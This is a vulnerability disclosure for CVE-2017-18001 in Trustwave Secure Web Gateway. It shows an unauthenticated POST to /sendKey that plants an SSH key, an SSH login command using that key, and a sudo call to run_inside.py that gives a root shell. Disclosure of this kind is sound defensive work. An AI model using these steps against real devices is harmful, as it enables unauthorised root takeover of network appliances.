CVE: CVE-2017-18001

## Vulnerability details
Trustwave SWG allows remote attackers to send to the SWG product a SSH key that will be used by the SWG product as the SSH key to logon to the device.

This allows unauthenticated user to send a POST request to /sendKey

```
POST /sendKey HTTP/1.1
Host: trustwave.device:5222
Content-Length: 558
content-type: multipart/form-data
user-agent: libwww-perl/6.15
Connection: close

```

Which will add the supplied ssh key to Trustwave SWG, which we can use it to login to the device:


```
 /usr/bin/ssh -q -o PasswordAuthentication=no -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o ServerAliveInterval=10 -i ./test.key commander@trustwave.device
Last login: Fri Aug 25 9:01:23 2017 from x.x.x.x
SWG Version               : 11.8.0.27
SWG Maintenance Release   : 0
Role                      : vs
Machine Type              : NG-6000
```

If we will run the id command via ssh we will get the following response:

```
-sh-4.1$ id
uid=1000(rsyncuser) gid=48(apache) groups=48(apache)
```

Once we connected to Trustwave SWG via SSH we can run commands as root by accessing /opt/finjan/msh/run_inside.py

```
# sudo /opt/finjan/msh/run_inside.py bash
bash-4.1# id
uid=0(root) gid=0(root) groups=0(root)
```
